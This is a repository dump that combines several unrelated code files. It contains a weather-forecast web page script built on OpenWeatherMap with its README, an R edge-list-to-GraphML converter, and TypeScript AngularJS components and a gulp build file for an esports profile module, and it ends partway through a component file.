htmldatatoday1 +='</div>'
htmldatatoday1 +='</div>'
htmldatatoday1 +='</div>'
htmldatatoday1 +='<span><img src="images/icon-wind.png" alt="">' + wspeed + ' m/s</span>'
htmldatatoday1 +='</div>'
document.getElementById("nextday1").innerHTML = htmldatatoday1;
}
else{
htmldata1 +='<div class="forecast">';
htmldata1 += '<div class="forecast-header">';
htmldata1 += '<div class="day" id="day1">'+ cddateformat1 +'</div>';
htmldata1 +='</div>';
htmldata1 += '<div class="forecast-content">';
htmldata1 += '<div class="forecast-icon">';
htmldata1 += '<img src="'+ iconSrc1 +'" alt="" width=70>';
htmldata1 += '</div>';
htmldata1 += '<div class="degree"><div class="temp" id="temp1">'+ cdtempmax1 +'</div><sup>o</sup>C</div>';
// htmldata1 += '<small><div class="temp" id="tempmin1">'+ cdtempmin1 +'</div><sup>o</sup></small>';
htmldata1 +='</div>';
htmldata1 += '</div>';
document.getElementById("daytwo").innerHTML = htmldata1;
}
}
var htmldaday2 = "";
var htmldata2 = "";
for(i=0; i< arrday2.length; i++){
l = arrday2[i];
cdtempmax1 = (l.main.temp_max).toFixed();
cdtempmin1 = (l.main.temp_min).toFixed();
wspeed = l.wind.speed;
icon1 = l.weather[0].icon;
var iconSrc1 = "http://openweathermap.org/img/w/"+ icon1 +".png";
var cddate1 = new Date(l.dt_txt);
cddateformat1 = cddate1.format("h:MM TT");
var a = new Date(cddate1);
var cddateday = weekday[a.getDay()];
if(i == 0){
htmldaday2 +='<div class="forecast-header">'
htmldaday2 +='<div class="day" id="day0">'+cddateday +' '+ cddateformat1 +'</div>'
htmldaday2 +='<div class="date"> </div>'
htmldaday2 +='</div>'
htmldaday2 +='<div class="forecast-content">'
htmldaday2 +='<div class="location" id="locatione"></div>'
htmldaday2 +=' <div class="degree">'
htmldaday2 +='<div class="row">'
htmldaday2 +='<div class="col-sm-8">'
htmldaday2 +='<div class="num"><div class="temp" id="temp">'+ cdtempmax1 +'</div><sup>o</sup>C</div>'
htmldaday2 +=' </div>'
htmldaday2 +='<div class="col-sm-4">'
htmldaday2 +='<div class="forecast-icon">'
htmldaday2 +='<img src="'+ iconSrc +'" alt="" width=90>'
htmldaday2 +='</div>'
htmldaday2 +='</div>'
htmldaday2 +='</div>'
htmldaday2 +='</div>'
htmldaday2 +='<span><img src="images/icon-wind.png" alt="">' + wspeed + ' m/s</span>'
htmldaday2 +='</div>'
document.getElementById("nextday2").innerHTML = htmldaday2;
}
else{
htmldata2 +='<div class="forecast">';
htmldata2 += '<div class="forecast-header">';
htmldata2 += '<div class="day" id="day1">'+ cddateformat1 +'</div>';
htmldata2 +='</div>';
htmldata2 += '<div class="forecast-content">';
htmldata2 += '<div class="forecast-icon">';
htmldata2 += '<img src="'+ iconSrc1 +'" alt="" width=70>';
htmldata2 += '</div>';
htmldata2 += '<div class="degree"><div class="temp" id="temp1">'+ cdtempmax1 +'</div><sup>o</sup>C</div>';
// htmldata2 += '<small><div class="temp" id="tempmin1">'+ cdtempmin1 +'</div><sup>o</sup></small>';
htmldata2 +='</div>';
htmldata2 += '</div>';
document.getElementById("daythree").innerHTML = htmldata2;
}
}
var htmldaday3 = "";
var htmldata3 = "";
for(i=0; i< arrday3.length; i++){
l = arrday3[i];
cdtempmax1 = (l.main.temp_max).toFixed();
cdtempmin1 = (l.main.temp_min).toFixed();
wspeed = l.wind.speed;
icon1 = l.weather[0].icon;
var iconSrc1 = "http://openweathermap.org/img/w/"+ icon1 +".png";
var cddate1 = new Date(l.dt_txt);
cddateformat1 = cddate1.format("h:MM TT");
var a = new Date(cddate1);
var cddateday = weekday[a.getDay()];
if(i == 0){
htmldaday3 +='<div class="forecast-header">'
htmldaday3 +='<div class="day" id="day0">'+cddateday +' '+ cddateformat1 +'</div>'
htmldaday3 +='<div class="date"> </div>'
htmldaday3 +='</div>'
htmldaday3 +='<div class="forecast-content">'
htmldaday3 +='<div class="location" id="locatione"></div>'
htmldaday3 +=' <div class="degree">'
htmldaday3 +='<div class="row">'
htmldaday3 +='<div class="col-sm-8">'
htmldaday3 +='<div class="num"><div class="temp" id="temp">'+ cdtempmax1 +'</div><sup>o</sup>C</div>'
htmldaday3 +=' </div>'
htmldaday3 +='<div class="col-sm-4">'
htmldaday3 +='<div class="forecast-icon">'
htmldaday3 +='<img src="'+ iconSrc +'" alt="" width=90>'
htmldaday3 +='</div>'
htmldaday3 +='</div>'
htmldaday3 +='</div>'
htmldaday3 +='</div>'
htmldaday3 +='<span><img src="images/icon-wind.png" alt="">' + wspeed + ' m/s</span>'
htmldaday3 +='</div>'
document.getElementById("nextday3").innerHTML = htmldaday3;
}
else{
htmldata3 +='<div class="forecast">';
htmldata3 += '<div class="forecast-header">';
htmldata3 += '<div class="day" id="day1">'+ cddateformat1 +'</div>';
htmldata3 +='</div>';
htmldata3 += '<div class="forecast-content">';
htmldata3 += '<div class="forecast-icon">';
htmldata3 += '<img src="'+ iconSrc1 +'" alt="" width=70>';
htmldata3 += '</div>';
htmldata3 += '<div class="degree"><div class="temp" id="temp1">'+ cdtempmax1 +'</div><sup>o</sup>C</div>';
// htmldata2 += '<small><div class="temp" id="tempmin1">'+ cdtempmin1 +'</div><sup>o</sup></small>';
htmldata3 +='</div>';
htmldata3 += '</div>';
document.getElementById("dayfour").innerHTML = htmldata3;
}
}
var htmldaday4 = "";
var htmldata4 = "";
for(i=0; i< arrday4.length; i++){
l = arrday4[i];
cdtempmax1 = (l.main.temp_max).toFixed();
cdtempmin1 = (l.main.temp_min).toFixed();
icon1 = l.weather[0].icon;
var iconSrc1 = "http://openweathermap.org/img/w/"+ icon1 +".png";
var cddate1 = new Date(l.dt_txt);
cddateformat1 = cddate1.format("h:MM TT");
if(i == 0){
htmldaday4 +='<div class="forecast-header">'
htmldaday4 +='<div class="day" id="day0">'+cddateday +' '+ cddateformat1 +'</div>'
htmldaday4 +='<div class="date"> </div>'
htmldaday4 +='</div>'
htmldaday4 +='<div class="forecast-content">'
htmldaday4 +='<div class="location" id="locatione"></div>'
htmldaday4 +=' <div class="degree">'
htmldaday4 +='<div class="row">'
htmldaday4 +='<div class="col-sm-8">'
htmldaday4 +='<div class="num"><div class="temp" id="temp">'+ cdtempmax1 +'</div><sup>o</sup>C</div>'
htmldaday4 +=' </div>'
htmldaday4 +='<div class="col-sm-4">'
htmldaday4 +='<div class="forecast-icon">'
htmldaday4 +='<img src="'+ iconSrc +'" alt="" width=90>'
htmldaday4 +='</div>'
htmldaday4 +='</div>'
htmldaday4 +='</div>'
htmldaday4 +='</div>'
htmldaday4 +='<span><img src="images/icon-wind.png" alt="">' + wspeed + ' m/s</span>'
htmldaday4 +='</div>'
document.getElementById("nextday4").innerHTML = htmldaday4;
}
else{
htmldata4 +='<div class="forecast">';
htmldata4 += '<div class="forecast-header">';
htmldata4 += '<div class="day" id="day1">'+ cddateformat1 +'</div>';
htmldata4 +='</div>';
htmldata4 += '<div class="forecast-content">';
htmldata4 += '<div class="forecast-icon">';
htmldata4 += '<img src="'+ iconSrc1 +'" alt="" width=70>';
htmldata4 += '</div>';
htmldata4 += '<div class="degree"><div class="temp" id="temp1">'+ cdtempmax1 +'</div><sup>o</sup>C</div>';
// htmldata2 += '<small><div class="temp" id="tempmin1">'+ cdtempmin1 +'</div><sup>o</sup></small>';
htmldata4 +='</div>';
htmldata4 += '</div>';
document.getElementById("dayfive").innerHTML = htmldata4;
}
}
console.log("Filter results:", arrday0, arrday1, arrday2, arrday3, arrday4);
});
}
else {
alert("Geocode was not successful for the following reason: " + status);
}
});
}
google.maps.event.addDomListener(window, 'load', initialize);
// Data Format
var dateFormat = function () {
var token = /d{1,4}|m{1,4}|yy(?:yy)?|([HhMsTt])\1?|[LloSZ]|"[^"]*"|'[^']*'/g,
timezone = /\b(?:[PMCEA][SDP]T|(?:Pacific|Mountain|Central|Eastern|Atlantic) (?:Standard|Daylight|Prevailing) Time|(?:GMT|UTC)(?:[-+]\d{4})?)\b/g,
timezoneClip = /[^-+\dA-Z]/g,
pad = function (val, len) {
val = String(val);
len = len || 2;
while (val.length < len) val = "0" + val;
return val;
};
// Regexes and supporting functions are cached through closure
return function (date, mask, utc) {
var dF = dateFormat;
// You can't provide utc if you skip other args (use the "UTC:" mask prefix)
if (arguments.length == 1 && Object.prototype.toString.call(date) == "[object String]" && !/\d/.test(date)) {
mask = date;
date = undefined;
}
// Passing date through Date applies Date.parse, if necessary
date = date ? new Date(date) : new Date;
if (isNaN(date)) throw SyntaxError("invalid date");
mask = String(dF.masks[mask] || mask || dF.masks["default"]);
// Allow setting the utc argument via the mask
if (mask.slice(0, 4) == "UTC:") {
mask = mask.slice(4);
utc = true;
}
var _ = utc ? "getUTC" : "get",
d = date[_ + "Date"](),
D = date[_ + "Day"](),
m = date[_ + "Month"](),
y = date[_ + "FullYear"](),
H = date[_ + "Hours"](),
M = date[_ + "Minutes"](),
s = date[_ + "Seconds"](),
L = date[_ + "Milliseconds"](),
o = utc ? 0 : date.getTimezoneOffset(),
flags = {
d: d,
dd: pad(d),
ddd: dF.i18n.dayNames[D],
dddd: dF.i18n.dayNames[D + 7],
m: m + 1,
mm: pad(m + 1),
mmm: dF.i18n.monthNames[m],
mmmm: dF.i18n.monthNames[m + 12],
yy: String(y).slice(2),
yyyy: y,
h: H % 12 || 12,
hh: pad(H % 12 || 12),
H: H,
HH: pad(H),
M: M,
MM: pad(M),
s: s,
ss: pad(s),
l: pad(L, 3),
L: pad(L > 99 ? Math.round(L / 10) : L),
t: H < 12 ? "a" : "p",
tt: H < 12 ? "am" : "pm",
T: H < 12 ? "A" : "P",
TT: H < 12 ? "AM" : "PM",
Z: utc ? "UTC" : (String(date).match(timezone) || [""]).pop().replace(timezoneClip, ""),
o: (o > 0 ? "-" : "+") + pad(Math.floor(Math.abs(o) / 60) * 100 + Math.abs(o) % 60, 4),
S: ["th", "st", "nd", "rd"][d % 10 > 3 ? 0 : (d % 100 - d % 10 != 10) * d % 10]
};
return mask.replace(token, function ($0) {
return $0 in flags ? flags[$0] : $0.slice(1, $0.length - 1);
});
};
}();
// Some common format strings
dateFormat.masks = {
"default": "ddd mmm dd yyyy HH:MM:ss",
shortDate: "m/d/yy",
mediumDate: "mmm d, yyyy",
longDate: "mmmm d, yyyy",
fullDate: "dddd, mmmm d, yyyy",
shortTime: "h:MM TT",
mediumTime: "h:MM:ss TT",
longTime: "h:MM:ss TT Z",
isoDate: "yyyy-mm-dd",
isoTime: "HH:MM:ss",
isoDateTime: "yyyy-mm-dd'T'HH:MM:ss",
isoUtcDateTime: "UTC:yyyy-mm-dd'T'HH:MM:ss'Z'"
};
// Internationalization strings
dateFormat.i18n = {
dayNames: [
"Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat",
"Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"
],
monthNames: [
"Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec",
"January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"
]
};
// For convenience...
Date.prototype.format = function (mask, utc) {
return dateFormat(this, mask, utc);
};
<file_sep># openweathermapapi
Open weather api, Javascript<br>
You can see a demo here https://point-us.de/openweather/
In this script, I used to Open Weather Api, geocoder google and Html, CSS, Javascript.
With this script you can serach a weather for your city or your address.
<strong>How it's work?</strong>
First script get lat and long from your address than, script find your locatione, and than from latitude and longitude We call api to get data from Open Weather Map.
I use this Api https://openweathermap.org/forecast5, to get data for 5 days, every 3hours.
Frist I got 2 function from this link https://developers.google.com/maps/documentation/javascript/geocoding to get latitude and longitude.
<br>lat = results[0].geometry.location.lat();
<br> long = results[0].geometry.location.lng();
Then I called <strong>JSON Object</strong>
</br> $.getJSON('http://api.openweathermap.org/data/2.5/forecast?units=metric&lat=' + lat + '&lon=' + long + '&appid='+ API_KEY
</br> The JSON object bring me some data for 5 days in array.
</br> From this JSON array data I created 5 array for each single day.
</br>
var arrday0 = [];
var arrday1 = [];
var arrday2 = [];
var arrday3 = [];
var arrday4 = [];
// Filter JSON arry in 5 arrays for 5 days
for(i= 0; i < wd.list.length; i++){
d = wd.list[i];
var justdate = new Date(d.dt_txt);
datewithformat = justdate.format("yyyy-mm-dd");
var currentdata = new Date();
var currentdataformat = currentdata.format("yyyy-mm-dd");
if(datewithformat === currentdataformat){
arrday0.push(wd.list[i]);
}
var day1 = new Date();
day1.setDate(day1.getDate()+1); //Add Day +1
var day1format = day1.format("yyyy-mm-dd");
if(datewithformat === day1format){
arrday1.push(wd.list[i]);
}
var day2 = new Date();
day2.setDate(day2.getDate()+2); //Add Day +2
var day2format = day2.format("yyyy-mm-dd");
if(datewithformat === day2format){
arrday2.push(wd.list[i]);
}
var day3 = new Date();
day3.setDate(day3.getDate()+3); //Add Day +3
var day3format = day3.format("yyyy-mm-dd");
if(datewithformat === day3format){
arrday3.push(wd.list[i]);
}
var day4 = new Date();
day4.setDate(day4.getDate()+4); //Add Day +4
var day4format = day4.format("yyyy-mm-dd");
if(datewithformat === day4format){
arrday4.push(wd.list[i]);
}
}
</br>
Then I used array for each single day.
<br>You can see main.js and html file, I hope it's helpful for you.
<br>See you soon
| a998dc436dd426c271c0f45250e86c4a858b6902 | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | Valonfeka/openweathermapapi | caa84f3b6f031eb7f877bdc501dabf9adba3ea93 | 7603f906ea9192e696596cf3ad640d208d537d14 |
refs/heads/master | <file_sep>This is a short program written in R to convert power grid data into a network. For more information, consult the PDF.
<file_sep>library(igraph)
#Set working directory for file import with eg. /Users/name/Documents/PowerGrids
setwd("directory you want to work in")
#Import Edge Data in .csv format and export in Graphml Format
csv_to_graphml <- function(filename){
"Take a CSV edge list, convert it to graphml format
and export in graphml form"
f = file(filename, open = "r")
edge_list = as.matrix(read.csv(f, header = FALSE))
close(f)
graph = graph_from_edgelist(edge_list)
export_filename = paste(unlist(strsplit(filename, ".", fixed = TRUE)),
"graphml", sep = ".")
write_graph(graph, export_filename, format = "graphml")
}
| 4ea426f36e14d56ed5f947f6d9afeb3511bf07b7 | [
"Markdown",
"R"
] | 2 | Markdown | PeterDeWeirdt/Power-Grid-Data-Extraction | 8ed1776ecd9d39b0151605df08e57111185f1ac1 | 2afa52dd049597f0a89a688453a8c598c0f2f691 |
refs/heads/master | <file_sep>"use strict";
import {playProfile} from "../../Application";
import {Component} from "../../decorators/Component";
@Component(playProfile, "profileUserSidebar", {
bindings: {
user: "<",
teams: "<",
shortDescription: "<"
},
templateUrl: "profile/pages/user/sidebar.html",
controllerAs: "ctrl"
})
class ProfileUserSidebarController {
public user: any;
public shortDescription: string;
public teams: string;
public $onChanges() {
}
}<file_sep>"use strict";
import "../../typings/browser.d";
import "./Application";
import "./routes";<file_sep>"use strict";
import {playProfile} from "./Application";
import {UserCacheProxy} from "ngCache/dist/services/UserCacheProxy";
// @ngInject
let resolveUser = function(
$q: angular.IQService,
$timeout: angular.ITimeoutService,
$stateParams,
UserCacheProxy: UserCacheProxy
) {
let userId = $stateParams.userId;
let defer = $q.defer();
let timeout = $timeout(function () {
defer.reject(null);
}, 3000);
UserCacheProxy.getUsers([userId], function (user) {
defer.resolve(user);
$timeout.cancel(timeout);
});
return defer.promise;
};
playProfile.config(["$stateProvider", ($stateProvider:any) => {
let userRoute = $stateProvider.state("user", {
abstract: true,
url: "/player/:userId",
views: {
"": {
template: "<profile user='$resolve.contestant'></profile>",
},
"header@user": {
template: "<profile-user-header user='ctrl.user'></profile-user-header>"
},
"sidebar@user": {
template: "<profile-user-sidebar " +
"user='ctrl.user' " +
"teams='ctrl.userTeams' " +
"short-description='ctrl.shortDescription'" +
"></profile-user-sidebar>"
}
},
resolve: {
contestant: resolveUser
}
});
userRoute.state("user.index", {
url: "",
template: "<profile-user-profile user='ctrl.user'></profile-user-profile>"
});
userRoute.state("user.teams", {
url: "/teams",
template: "<profile-user-teams teams='ctrl.userTeams' user='ctrl.user'></profile-user-teams>"
});
userRoute.state("user.matches", {
url: "/matches",
template: "<profile-matches contestant='ctrl.user'></profile-matches>"
});
userRoute.state("user.leagues", {
url: "/leagues",
template: "<profile-leagues contestant='ctrl.user'></profile-leagues>"
});
userRoute.state("user.gameaccounts", {
url: "/gameaccounts",
template: "<profile-user-gameaccounts user='ctrl.user'></profile-user-gameaccounts>"
});
userRoute.state("user.awards", {
url: "/awards",
template: "<profile-awards contestant='ctrl.user'></profile-awards>"
});
}]);
<file_sep>import * as angular from "angular";
export declare let playProfile: angular.IModule;
import "./components/VideoWidget";
import "./components/GameaccountWidget";
import "./components/InfoWidget";
import "./components/AwardWidget";
import "./components/TeamsWidget";
import "./pages/Profile";
import "./pages/ProfileAwards";
import "./pages/ProfileLeagues";
import "./pages/ProfileMatches";
import "./pages/team/ProfileTeamHeader";
import "./pages/team/ProfileTeamSidebar";
import "./pages/team/ProfileTeamMembers";
import "./pages/team/ProfileTeamProfile";
import "./pages/user/ProfileUserHeader";
import "./pages/user/ProfileUserSidebar";
import "./pages/user/ProfileUserGameaccounts";
import "./pages/user/ProfileUserProfile";
import "./pages/user/ProfileUserTeams";
<file_sep>"use strict";require("../../typings/browser.d"),require("./Application"),require("./routes");<file_sep>"use strict";
import {playProfile} from "../../Application";
import {Component} from "../../decorators/Component";
@Component(playProfile, "profileTeamHeader", {
bindings: {team: "<"},
templateUrl: "profile/pages/team/header.html",
controllerAs: "ctrl"
})
class ProfileTeamHeaderController {
public team: any;
}<file_sep>"use strict";
import {playProfile} from "../../Application";
import {Component} from "../../decorators/Component";
@Component(playProfile, "profileUserTeams", {
bindings: {user: "<", teams: "<"},
templateUrl: "profile/pages/user/teams.html",
controllerAs: "ctrl"
})
class ProfileUserTeamsController {
public user: any;
public teams: any;
}<file_sep>"use strict";
import {playProfile} from "../Application";
import {Component} from "../decorators/Component";
@Component(playProfile, "profileLeagues", {
bindings: {
contestant: "<",
leagues: "<"
},
templateUrl: "profile/pages/leagues.html",
controllerAs: "ctrl"
})
class ProfileLeaguesController {
public contestant: any;
public leagues: any[];
}<file_sep>export declare function Component(moduleOrName: string | ng.IModule, selector: string, options: {
controllerAs?: string;
bindings?: any;
template?: string;
templateUrl?: string;
transclude?: any;
}): (controller: Function) => void;
<file_sep>"use strict";
import {playProfile} from "../Application";
import {Component} from "../decorators/Component";
@Component(playProfile, "profileMatches", {
bindings: {
contestant: "<",
matches: "<"
},
templateUrl: "profile/pages/matches.html",
controllerAs: "ctrl"
})
class ProfileMatchesController {
public contestant:any;
public matches:any[];
public $onInit() {
}
}<file_sep>"use strict";
import {playProfile} from "../../Application";
import {Component} from "../../decorators/Component";
@Component(playProfile, "profileUserHeader", {
bindings: {user: "<"},
templateUrl: "profile/pages/user/header.html",
controllerAs: "ctrl"
})
class ProfileUserHeaderController {
public user: any;
}<file_sep># Contributing
1. Do not push directly to master, push to development<file_sep>"use strict";
import * as _ from "lodash";
import {playProfile} from "../Application";
import {Component} from "../decorators/Component";
import {TeamCacheProxy} from "ngCache/dist/services/TeamCacheProxy";
@Component(playProfile, "profile", {
bindings: {user: "<"},
templateUrl: "profile/profile.html",
controllerAs: "ctrl"
})
class ProfileController {
public user: any;
public userTeams: any[] = [];
public description: string;
public shortDescription: string;
// @ngInject
constructor(
private UserService: any,
private TeamCacheProxy: TeamCacheProxy
) {
}
public $onChanges() {
if (!this.user) {
return;
}
this.TeamCacheProxy.getTeams(["9700013", "7493552"], (team: any) => {
let exists = _.filter(this.userTeams, (userTeam:any) => {
return userTeam.getId() === team.getId();
}).length > 0;
if (!exists) {
this.userTeams.push(team);
}
});
this.UserService.getDescription(this.user.getId(), "html").then((description: any) => {
this.description = description;
});
this.UserService.getShortDescription(this.user.getId(), "html").then((shortDescription: any) => {
this.shortDescription = shortDescription;
});
}
}<file_sep>"use strict";
import {playProfile} from "../Application";
import {Component} from "../decorators/Component";
@Component(playProfile, "infoWidget", {
bindings: {user: "<", shortDescription: "<"},
templateUrl: "profile/widgets/info.html",
controllerAs: "ctrl"
})
class InfoWidgetController {
public user: any;
public shortDescription: string;
}
<file_sep>"use strict";
import {playProfile} from "../../Application";
import {Component} from "../../decorators/Component";
@Component(playProfile, "profileUserGameaccounts", {
bindings: {user: "<", gameaccounts: "<"},
templateUrl: "profile/pages/user/gameaccounts.html",
controllerAs: "ctrl"
})
class ProfileUserGameaccountsController {
public user:any;
public gameaccounts:any[];
public $onInit() {
this.gameaccounts = [
{
value: "Itrulia",
tyoe: "overwatch_eu",
game: {
name: "Overwatch",
logo: "/dist/images/logo/overwatch.png",
background: "/dist/images/background/overwatch.jpg"
},
},
{
value: "Frozen Tomb",
tyoe: "lol_summoner_name_eu_west",
game: {
name: "League of Legends",
logo: "/dist/images/logo/leagueoflegends.png",
background: "/dist/images/background/leagueoflegends.jpg"
},
},
{
value: "1:1:20934533",
tyoe: "steamidcsgo",
game: {
name: "Counter Strike",
logo: "/dist/images/logo/counterstrike.png",
background: "/dist/images/background/counterstrike.jpg",
},
},
{
value: "Itrulia#2544",
tyoe: "starcraft_eu",
game: {
name: "Starcraft",
logo: "/dist/images/logo/starcraft.png",
background: "/dist/images/background/starcraft.jpg"
},
},
{
value: "Itrulia#2544",
tyoe: "hearthstone_eu",
game: {
name: "Hearthstone",
logo: "/dist/images/logo/hearthstone.png",
background: "/dist/images/background/hearthstone.jpg",
},
}
];
}
}<file_sep>"use strict";
import {playProfile} from "../Application";
import {Component} from "../decorators/Component";
@Component(playProfile, "gameaccountWidget", {
bindings: {},
templateUrl: "profile/widgets/gameaccount.html",
controllerAs: "ctrl"
})
class GameaccountWidgetController {
}
<file_sep>'use strict';
// Core
var path = require('path');
// Frameworks
var gulp = require('gulp');
// Browserify
var buffer = require('vinyl-source-buffer');
var browserify = require('browserify');
var tsify = require('tsify');
// Browser Sync
var browserSync = require('browser-sync');
var modRewrite = require('connect-modrewrite');
var reload = browserSync.reload;
// Tests
var karma = require('karma').Server;
// Config
var config = require('./gulpconfig');
var postProcessor = [
require('postcss-zindex'),
require('autoprefixer')({browsers: ['last 1 version']})
];
// Util
var del = require('del');
var sequence = require('run-sequence');
var mergeStream = require('merge-stream');
var $ = require('gulp-load-plugins')();
//////////////////////////////////////////
/// Util
//////////////////////////////////////////
gulp.task('clean', function () {
return del.sync(['dist/*', '!dist/.git'], {dot: true});
});
//////////////////////////////////////////
/// Lint
//////////////////////////////////////////
gulp.task('scripts:lint', function () {
gulp.src(config.paths.typescript.watch)
.pipe($.tslint({
configuration: "tslint.json"
}))
.pipe($.tslint.report($.tslintStylish, {
emitError: false,
sort: true,
bell: true,
fullPath: true
}));
});
gulp.task('styles:lint', function () {
return gulp.src(config.paths.styles.watch)
.pipe($.plumber())
.pipe($.postcss([
require('stylelint')(),
require('postcss-reporter')({clearMessages: true, throwError: false})
], {syntax: require('postcss-scss')}));
});
gulp.task('lint', function() {
sequence('scripts:lint', 'styles:lint');
});
//////////////////////////////////////////
/// CSS
//////////////////////////////////////////
gulp.task('styles', ['styles:lint'], function () {
return gulp.src(config.paths.styles.app)
.pipe($.plumber())
.pipe($.sourcemaps.init())
.pipe($.sass().on('error', $.sass.logError))
.pipe($.postcss(postProcessor))
.pipe($.cleanCss())
.pipe($.sourcemaps.write('.'))
.pipe(gulp.dest(config.paths.styles.dist))
.pipe($.size({title: 'styles'}));
});
//////////////////////////////////////////
/// HTML
//////////////////////////////////////////
gulp.task('templates', function () {
return gulp.src(config.paths.templates.app)
.pipe($.plumber())
.pipe($.htmlmin({
removeComments: true,
collapseWhitespace: true,
collapseBooleanAttributes: true,
removeAttributeQuotes: true,
removeRedundantAttributes: true,
removeScriptTypeAttributes: true,
removeStyleLinkTypeAttributes: true,
removeOptionalTags: true
}))
.pipe($.angularTemplatecache({
module: 'playProfile',
standalone: false,
transformUrl: function(url) {
return 'profile/' + url
}
}))
.pipe(gulp.dest(config.paths.templates.dist))
.pipe($.size({title: 'templates'}));
});
//////////////////////////////////////////
/// JavaScript
//////////////////////////////////////////
gulp.task('typescript', ['scripts:lint'], function () {
var bundle = browserify()
.add(config.paths.typescript.app + '/app.ts')
.external('localForage')
.external('angular')
.external('moment')
.external('lodash')
.external('ngLeague')
.plugin(tsify, {
experimentalDecorators: true
})
.bundle()
.on('error', function (error) { console.error(error.toString()); })
.pipe($.plumber())
.pipe(buffer('playProfile.js'))
.pipe($.ngAnnotate())
// .pipe($.uglify())
.pipe(gulp.dest(config.paths.typescript.dist))
.pipe($.size({title: 'typescript'}));
var tsConfig = $.typescript.createProject('./tsconfig.json', {typescript: require('typescript')});
var typescript = gulp.src(config.paths.typescript.app + '/**/*.ts')
.pipe($.plumber())
.pipe($.typescript(tsConfig));
var javascript = typescript.js
.pipe($.stripLine('/// <reference path='))
.pipe($.ngAnnotate())
.pipe($.uglify());
var declaration = typescript.dts;
var commonJsModules = mergeStream(javascript, declaration)
.pipe(gulp.dest(config.paths.typescript.dist))
.pipe($.size({title: 'scripts'}));
return mergeStream(bundle, commonJsModules);
});
//////////////////////////////////////////
/// Images
//////////////////////////////////////////
gulp.task('images', function () {
return gulp.src(config.paths.images.app)
.pipe($.plumber())
.pipe($.newer(config.paths.images.dist))
.pipe($.imagemin({
progressive: true,
interlaced: true,
verbose: true
}))
// .pipe($.if("*.svg", $.svgstore()))
// .pipe($.if("*.svg", $.rename('playProfile.svg')))
.pipe(gulp.dest(config.paths.images.dist))
.pipe($.size({title: 'images'}));
});
//////////////////////////////////////////
/// Test
//////////////////////////////////////////
gulp.task('tdd', function (done) {
gulp.watch(config.paths.typescript.watch, ['scripts:lint']);
var server = new karma({
configFile: __dirname + '/' + config.paths.tests.dev
}, done);
server.start()
});
gulp.task('test', function (done) {
var server = new karma({
configFile: __dirname + '/' + config.paths.tests.ci
}, done);
server.start()
});
//////////////////////////////////////////
/// Docs
//////////////////////////////////////////
gulp.task('ngdocs', [], function () {
return gulp.src('dist/scripts/playProfile.js')
.pipe($.ngdocs.process({
html5Mode: true,
startPage: '/api',
title: "playProfile Docs",
titleLink: "/api",
scripts: [
'http://ajax.googleapis.com/ajax/libs/angularjs/1.5.3/angular.min.js',
'http://ajax.googleapis.com/ajax/libs/angularjs/1.5.3/angular-animate.min.js'
]
}))
.pipe(gulp.dest('docs'));
});
//////////////////////////////////////////
/// Watch / Build
//////////////////////////////////////////
gulp.task('watch', function () {
browserSync({
notify: false,
server: ['./'],
middleware: [
modRewrite([
'!\\.\\w+$ /index.html [L]'
])
]
});
gulp.watch(config.paths.typescript.watch, ['typescript', reload]);
gulp.watch(config.paths.styles.watch, ['styles', reload]);
gulp.watch(config.paths.templates.watch, ['templates', reload]);
gulp.watch(config.paths.images.watch, ['images', reload]);
gulp.watch('index.html', reload);
});
gulp.task('prod');
gulp.task('default', ['clean'], function () {
sequence(['templates', 'typescript', 'styles', 'images']);
});<file_sep>"use strict";
import {playProfile} from "../Application";
import {Component} from "../decorators/Component";
@Component(playProfile, "profileAwards", {
bindings: {
contestant: "<",
awards: "<"
},
templateUrl: "profile/pages/awards.html",
controllerAs: "ctrl"
})
class ProfileAwardsController {
public contestant: any;
public awards: any[];
}<file_sep>"use strict";
import {playProfile} from "../Application";
import {Component} from "../decorators/Component";
@Component(playProfile, "teamsWidget", {
bindings: {teams: "<"},
templateUrl: "profile/widgets/teams.html",
controllerAs: "ctrl"
})
class TeamsWidgetController {
public teams: any[];
// @ngInject
constructor() {
}
}<file_sep>"use strict";
import * as angular from "angular";
import {ngCache} from "ngCache/dist/Application";
export let playProfile:angular.IModule = angular.module("playProfile", [
ngCache.name,
"ui.router",
"pascalprecht.translate"
]);
playProfile.config(["$locationProvider", "$httpProvider", "$compileProvider", (
$locationProvider:angular.ILocationProvider,
$httpProvider:angular.IHttpProvider,
$compileProvider:angular.ICompileProvider
) => {
$locationProvider.html5Mode({
enabled: true,
requireBase: false
});
$httpProvider.useApplyAsync(true);
$compileProvider.debugInfoEnabled(false);
}]);
playProfile.config(["$urlRouterProvider", ($urlRouterProvider:any) => {
// remove trailing slash
$urlRouterProvider.rule(function ($injector, $location) {
let path = $location.path();
if (path !== "/" && path.slice(-1) === "/") {
$location.replace().path(path.slice(0, -1));
}
});
}]);
playProfile.config(["$sceDelegateProvider", function($sceDelegateProvider: angular.ISCEDelegateProvider) {
$sceDelegateProvider.resourceUrlWhitelist([
"http://player.twitch.tv/**"
]);
}]);
playProfile.config(["$translateProvider", function($translateProvider) {
$translateProvider.translations("en", {
});
}]);
// components
import "./components/VideoWidget";
import "./components/GameaccountWidget";
import "./components/InfoWidget";
import "./components/AwardWidget";
import "./components/TeamsWidget";
// pages
import "./pages/Profile";
import "./pages/ProfileAwards";
import "./pages/ProfileLeagues";
import "./pages/ProfileMatches";
// Team
import "./pages/team/ProfileTeamHeader";
import "./pages/team/ProfileTeamSidebar";
import "./pages/team/ProfileTeamMembers";
import "./pages/team/ProfileTeamProfile";
// User
import "./pages/user/ProfileUserHeader";
import "./pages/user/ProfileUserSidebar";
import "./pages/user/ProfileUserGameaccounts";
import "./pages/user/ProfileUserProfile";
import "./pages/user/ProfileUserTeams";
<file_sep># Development
## Run local server
````bash
$ gulp default watch
````
## Run tests
TDD mode:
````bash
$ gulp tdd
````
CI mode:
````bash
$ gulp test
````<file_sep>"use strict";
import {playProfile} from "../Application";
import {Component} from "../decorators/Component";
@Component(playProfile, "videoWidget", {
bindings: {streamId: "<"},
templateUrl: "profile/widgets/video.html",
controllerAs: "ctrl"
})
class VideoWidgetController {
public streamId: string;
public streamUrl: string;
// @ngInject
constructor() {
}
public $onChanges() {
this.streamUrl = `//player.twitch.tv/?channel=${this.streamId}`;
}
}<file_sep>"use strict";
import {playProfile} from "../../Application";
import {Component} from "../../decorators/Component";
@Component(playProfile, "profileTeamProfile", {
